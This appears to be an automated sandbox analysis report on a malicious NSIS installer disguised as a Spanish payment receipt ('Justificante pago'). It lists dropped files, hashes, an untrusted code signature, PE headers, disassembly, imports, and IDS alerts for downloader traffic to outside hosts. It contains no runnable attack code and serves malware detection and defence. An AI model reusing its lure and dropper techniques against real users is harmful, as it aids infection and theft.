Preview:	.t...................jj.H..........................................@....................2..````...99............$.........hhhh..*.....r................dddd.......;;...............................`........................'...^^......;.....(.;.oo..................$$$...........+++.\.<.......................5.........WWW...........................#.........66666....uuu.............................................BBBB............:....4.....E......222...,....6...._..............................I............NN...R.................s...................3............1............................ff.ff..Y.....UU..zzz.................ii.....N..........D............6.............}}..!.....................__.......J.......$...........77..........LL........dd.......OO...a..xxx.....]...UU..8....i.._..........................=............U.y......l...VVV.......))).......ZZZZZ.........u........;;...........h............................GG.xx.......jj...............SSSSS....................bb..............

C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\forslvedes\Justificante pago-09453256434687.exe

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1106880
Entropy (8bit):	7.972434784115188
Encrypted:	false
SSDEEP:	24576:3NrNYoKOHCWJSICvcVU2F3VwV5k7j5awX300zQUGtZQ:d+jEWhvsU2F3VwXgj5aEkHUGtZQ
MD5:	4252CD5753DEF4A484FB3313E1029E66
SHA1:	19FD0734102E1EEBE6C7F42D530D30E920366E00
SHA-256:	96B8248BE606C47B8955A560F3DF160A4C9026CE1956E407DAF177F17549E4F7
SHA-512:	471851F39C4D058798BCE13F80C63F38E3F3196132C5FE3068982362D7C9C876670CEF2F768A8DE7ED300669A85C58B367C1B51221617A1D8AE67CDA77B82984
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L....Oa.................f...*.......4............@.......................................@..........................................@...Y.............. ............................................................................................text....e.......f.................. ..`.rdata...............j..............@..@.data...8............~..............@....ndata...................................rsrc....Y...@...Z..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\forslvedes\Justificante pago-09453256434687.exe:Zone.Identifier

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\forslvedes\Kostbare.tes

Process:	C:\Users\user\Desktop\Justificante pago-09453256434687.exe
File Type:	data
Category:	dropped
Size (bytes):	5657071
Entropy (8bit):	0.15928467329934035
Encrypted:	false
SSDEEP:	768:hia6UGQo5IgoTcs1teRMojkuNW52cfotYssiEfN5RJhDjTeYJNKUGQ0yyiJ+yDKJ:RLLXHTFL
MD5:	7FD6A7B5493B8D6659842CBDAC26F759
SHA1:	59ECA4FEF3F72F17B4F87C647836AF1EE0B7B208
SHA-256:	F38655E8753CF872BBC92F703C0A23F3CB35EFEA183296B92ADF3672A509162C
SHA-512:	C300E5599EB51D0862F806DF1C6274B0D59F75E41132F85C9E47F777CDD7B2E9B67C06BC033CD1FFE1C87A7EDD6B07D3E9DAD2D280EBAB1E22C7CA6291E881F5
Malicious:	false
Preview:	............................................n..............S.......................................................................................................................................................................q...............................................................................................................................................................................................................................................................................................................................................................................................z.............................................................................................................................................................................................................................4..q...................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\forslvedes\Phylogenetically.del

Process:	C:\Users\user\Desktop\Justificante pago-09453256434687.exe
File Type:	data
Category:	dropped
Size (bytes):	108656
Entropy (8bit):	0.1629399370348107
Encrypted:	false
SSDEEP:	48:iM4xHhYyQjrwzEa24+rFK3q01Z2FdZe/Gbjd6Ne7GJ:duhYyQjcd++7KFdZKGAw
MD5:	ABD3958B383B1C9F43AC4E47DD12BEC4
SHA1:	4248CEAF77E8A46BBFA08FC14BDAB5428D7194F6
SHA-256:	30E7E92C51752F6CFD747EC30BF29792A819FDA586557B053FF141861BC3EA7B
SHA-512:	F6FE0761F4E15D9FCCCE230FCDFC77E95A259A014654FF94A600CBA120F222ED2085B6DC3CFEC7F21177137BD5136AC42894E113EAFD1D21659FF3F14316799B
Malicious:	false
Preview:	............................................................................................................................................................................................................._....................................................................................................................................................................................................................................................................................................................................................................................)...........................................................<.......................................................................i.........................................................................................................................................................................................).......................................................................................................

C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\forslvedes\backwashed.car

Process:	C:\Users\user\Desktop\Justificante pago-09453256434687.exe
File Type:	data
Category:	dropped
Size (bytes):	6429709
Entropy (8bit):	0.15806775405645646
Encrypted:	false
SSDEEP:	768:VNOwnrRrLv7/6Ngd/3fk7lv70zCxVdw2J+bxTylmmf13Y2jmVnc+1dHiqkGAr/EA:vGD8vB
MD5:	F4FF9F83B617854EAA4804F4499C7538
SHA1:	C93182B840EBDDB4A16EF90F1B0AE26DC1562FBA
SHA-256:	AFA03D58592E5BE1ADF5E352A40CE899BC707BB40CC6CD1EF5930E6302A94C18
SHA-512:	2E5C29BD767EEA4939A4B82CD7DD6EC323255D9046D96CE2C1931D617D125AB96ABC1F4B5444097A3A8085356FB7BD894A5C9769710B67823228BD1C371CF756
Malicious:	false
Preview:	...............................................................................................................................................................................................................................................................................................................r.........................................................................................................................................................Q.....................................................................................................................................................................................................................................................................................................................................................................................................................Y........................................................................................................................................

C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\forslvedes\indholdsfortegnelsen.mic

Process:	C:\Users\user\Desktop\Justificante pago-09453256434687.exe
File Type:	data
Category:	dropped
Size (bytes):	7637195
Entropy (8bit):	0.1584950093042192
Encrypted:	false
SSDEEP:	768:DASGeKc+zkfELL9UhjwNNoVJ2zV7S9OrvkoAaqV6zoPv2WHiirTgQKUIZsrj6ZzL:gXK+k
MD5:	EB71C6BE6D08F8A7C7C9DA1335DF04C1
SHA1:	7B57A40E3F6C44178A25EF465C3E7F5EA3184335
SHA-256:	D1D5BFF683EDC3A076382FCFE8C8A28EA1FF6A1C7731A80BAB8FFF0E82A54D07
SHA-512:	5ED43E9E6A66F981DEEC765A13A361BCCEFE4E1A38C6847F9DB00F2ED1BF50497E36B6D5398190FB2CB0B191E4DA33A77C7378CDB446169941C84776D7406A48
Malicious:	false
Preview:	...................[.....................................................................................................................................................................................................................uV.......................................................................................................................>......................................................................................................................................................................................................................................................................................................................................................................................................`..............................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\forslvedes\overcutter.txt

Process:	C:\Users\user\Desktop\Justificante pago-09453256434687.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	465
Entropy (8bit):	4.255544231677184
Encrypted:	false
SSDEEP:	12:ZR1EOIygKJPTYEO/OAOLkKARrQdNJdKiXkB9MOyFCZ60WgE:9xIyPtYEO/vlK6QUlE
MD5:	2F8A39C6A08A57605F1965012760D560
SHA1:	4607DE528A646C0758D7FB322CF9CCFFAFA026B8
SHA-256:	37909462973046DA9CD15B9FB1CCD7F92D97C26AF08C83A8D486BA411DC69373
SHA-512:	0B2F239E494FCEE5D18812D98E3571F20B049CAF11CEA675CB55E95283A6E99E7A854DD87087EC5F7C402B7A7C760A1AB4B399EA17319C1F9249465E542E2D8D
Malicious:	false
Preview:	pachydermateous bomuldsskjorterne redisseisin minimalists.delikatessehandlens standardfilnavn spillerelater,udstafferingers parallelforskydning ynglepladsernes libanons somatotypically inveigler sammenrendets..tyrannierne coeternally kommandrs colliquative gonidic ringetonen issens hyperanabolic unpicturesque..sminker apporterende campaigner gorvarehandlen radiosender bibelskes.logikfamilier neurotransmission pasfotoerne searchment inrighted couphgens toadfish,

C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\forslvedes\tommelskruerne.afs

Process:	C:\Users\user\Desktop\Justificante pago-09453256434687.exe
File Type:	data
Category:	dropped
Size (bytes):	2537825
Entropy (8bit):	0.15731061171505112
Encrypted:	false
SSDEEP:	768:ZfmQIC91KjqGcnL63MV1HZDQDVlybvFG7dH9Sf12lqM1FBQWEP3dNaRrwPu1Br0O:Rrc
MD5:	6462B1502F14E3329E79F164F0B8EDA9
SHA1:	70F60B7634B75DAFA601D70E812D7127F4432AD3
SHA-256:	50852368EB9E21692315077EB7DD5E833B4430342695CFF4E70FEF7DF59DCFB7
SHA-512:	979F463C29EFDE5C746CE6A34B72DC064BDB9364702C5DB24B567E823B6992E076BDB160979330EDDDA03F9AE4EEB20FD1E656337A2654E43B3B36673820CF45
Malicious:	false
Preview:	...............M....................................................................4.......................................................................................................................R.......{......................................................................k............................................................................................................................................................................................................................................................................................................................................................................................................................................................~.............................................................................................................................................................I.................................................................................................................

C:\Users\user\AppData\Local\Temp\nsj887A.tmp\nsExec.dll

Process:	C:\Users\user\Desktop\Justificante pago-09453256434687.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	5.298362543684714
Encrypted:	false
SSDEEP:	96:J9zdzBzMDByZtr/HDQIUIq9m6v6vBckzu9wSBpLEgvElHlernNQaSGYuH2DQ:JykDr/HA5v6G2IElFernNQZGdHW
MD5:	675C4948E1EFC929EDCABFE67148EDDD
SHA1:	F5BDD2C4329ED2732ECFE3423C3CC482606EB28E
SHA-256:	1076CA39C449ED1A968021B76EF31F22A5692DFAFEEA29460E8D970A63C59906
SHA-512:	61737021F86F54279D0A4E35DB0D0808E9A55D89784A31D597F2E4B65B7BBEEC99AA6C79D65258259130EEDA2E5B2820F4F1247777A3010F2DC53E30C612A683
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: pedido-035241.exe, Detection: malicious, Browse Filename: uu8v4UUzTU.exe, Detection: malicious, Browse Filename: uu8v4UUzTU.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: SecuriteInfo.com.W32.PossibleThreat.20282.14864.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.PossibleThreat.20282.14864.exe, Detection: malicious, Browse Filename: GrammarlyInstaller.evxSw76fmxki94ued2mj0c82.exe, Detection: malicious, Browse Filename: GrammarlyInstaller.evxSw76fmxki94ued2mj0c82.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,.................Rich...........................PE..L.....Oa...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..<.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.972434784115188
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Justificante pago-09453256434687.exe
File size:	1'106'880 bytes
MD5:	4252cd5753def4a484fb3313e1029e66
SHA1:	19fd0734102e1eebe6c7f42d530d30e920366e00
SHA256:	96b8248be606c47b8955a560f3df160a4c9026ce1956e407daf177f17549e4f7
SHA512:	471851f39c4d058798bce13f80c63f38e3f3196132c5fe3068982362d7c9c876670cef2f768a8de7ed300669a85c58b367c1b51221617a1d8ae67cda77b82984
SSDEEP:	24576:3NrNYoKOHCWJSICvcVU2F3VwV5k7j5awX300zQUGtZQ:d+jEWhvsU2F3VwXgj5aEkHUGtZQ
TLSH:	B535230561D5E467E0E14B36F63A18F213AA2D21C8718A2F53257F78BFB12A63D3D325
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................f...*.....

File Icon


Icon Hash:	4e33695d030a3f39

Static PE Info

General

Entrypoint:	0x4034f7
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x614F9AE5 [Sat Sep 25 21:55:49 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	56a78d55f3f7af51443e58e0ce2fb5f6

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Tehran, E=Admissory@Nonclinging.Am, O=Tehran, L=Glan Honddu, OU="Tilbyg Cayuses Ethnolinguistic ", S=Wales, C=GB
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	02/11/2024 06:34:33 02/11/2025 06:34:33
Subject Chain	CN=Tehran, E=Admissory@Nonclinging.Am, O=Tehran, L=Glan Honddu, OU="Tilbyg Cayuses Ethnolinguistic ", S=Wales, C=GB
Version:	3
Thumbprint MD5:	7125B26AD47B1EF2F57A1D334C3ED3CA
Thumbprint SHA-1:	B9A39AEB4CB807EE90F2CE94E1298C47D6ED6196
Thumbprint SHA-256:	4451356EAE3D4C11E252079D3D3D664D603B200B87E984A189B1629EE40EB0AF
Serial:	2DEB645BD81ED6623A453CE607AA7C569CE12379

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A2E0h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080CCh]
mov esi, dword ptr [004080D0h]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007F680C864DAAh
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007F680C864D7Ah
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [0042A2D8h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x54000	0x159b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x10dca0	0x720
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6515	0x6600	26e66bea3b62728a217ae7bf343ebc1a	False	0.6615349264705882	data	6.439707948554623	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x139a	0x1400	691f0273dad50ec603f6fedf850b58ee	False	0.45	data	5.145774564074664	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20338	0x600	4b75405561a3fcc45b8fe27a6808f3b5	False	0.4993489583333333	data	4.013698650446401	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x29000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x54000	0x159b8	0x15a00	99e35a8b4499e294dd3cd1daedb48858	False	0.8200754154624278	data	7.353353976387772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x54418	0x9e8c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9934217009953681
RT_ICON	0x5e2a8	0x3344	PNG image data, 256 x 256, 8-bit colormap, non-interlaced	English	United States	0.9758457787259982
RT_ICON	0x615f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.41275933609958504
RT_ICON	0x63b98	0x1743	PNG image data, 256 x 256, 4-bit colormap, non-interlaced	English	United States	0.9952980688497062
RT_ICON	0x652e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4580206378986867
RT_ICON	0x66388	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304	English	United States	0.5692963752665245
RT_ICON	0x67230	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024	English	United States	0.6601985559566786
RT_ICON	0x67ad8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.5
RT_ICON	0x68140	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256	English	United States	0.5238439306358381
RT_ICON	0x686a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6063829787234043
RT_ICON	0x68b10	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.6747311827956989
RT_ICON	0x68df8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.8074324324324325
RT_DIALOG	0x68f20	0x100	data	English	United States	0.5234375
RT_DIALOG	0x69020	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x69140	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x69208	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x69268	0xae	data	English	United States	0.632183908045977
RT_VERSION	0x69318	0x274	data	English	United States	0.47611464968152867
RT_MANIFEST	0x69590	0x423	XML 1.0 document, ASCII text, with very long lines (1059), with no line terminators	English	United States	0.5127478753541076

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T18:28:44.726551+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49736	172.217.19.174	443	TCP
2024-12-16T18:28:52.347535+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	158.101.44.242	80	TCP
2024-12-16T18:28:55.285176+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	158.101.44.242	80	TCP
2024-12-16T18:28:56.968822+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49740	104.21.67.152	443	TCP
2024-12-16T18:28:58.363210+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49742	158.101.44.242	80	TCP
2024-12-16T18:29:13.174013+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49781	104.21.67.152	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 18:28:42.098860979 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:42.098908901 CET	443	49736	172.217.19.174	192.168.2.4
Dec 16, 2024 18:28:42.099065065 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:42.109729052 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:42.109744072 CET	443	49736	172.217.19.174	192.168.2.4
Dec 16, 2024 18:28:43.807100058 CET	443	49736	172.217.19.174	192.168.2.4
Dec 16, 2024 18:28:43.807225943 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:43.807866096 CET	443	49736	172.217.19.174	192.168.2.4
Dec 16, 2024 18:28:43.807929993 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:43.853358030 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:43.853374004 CET	443	49736	172.217.19.174	192.168.2.4
Dec 16, 2024 18:28:43.853594065 CET	443	49736	172.217.19.174	192.168.2.4
Dec 16, 2024 18:28:43.853647947 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:43.857065916 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:43.903320074 CET	443	49736	172.217.19.174	192.168.2.4
Dec 16, 2024 18:28:44.726521015 CET	443	49736	172.217.19.174	192.168.2.4
Dec 16, 2024 18:28:44.726602077 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:44.726617098 CET	443	49736	172.217.19.174	192.168.2.4
Dec 16, 2024 18:28:44.726664066 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:44.726811886 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:44.726835966 CET	443	49736	172.217.19.174	192.168.2.4
Dec 16, 2024 18:28:44.726885080 CET	49736	443	192.168.2.4	172.217.19.174
Dec 16, 2024 18:28:44.879934072 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:44.880033016 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:44.880166054 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:44.880470037 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:44.880500078 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:46.578030109 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:46.578165054 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:46.582654953 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:46.582684040 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:46.582962036 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:46.583034039 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:46.583388090 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:46.631336927 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.392467022 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.392709970 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.405150890 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.405373096 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.432411909 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.432548046 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.512567997 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.512715101 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.513799906 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.513928890 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.583929062 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.584028959 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.587526083 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.587637901 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.587671041 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.587738991 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.592969894 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.593045950 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.600295067 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.600351095 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.601514101 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.601598024 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.608911991 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.609011889 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.613214016 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.613292933 CET	49737	443	192.168.2.4	142.250.181.1
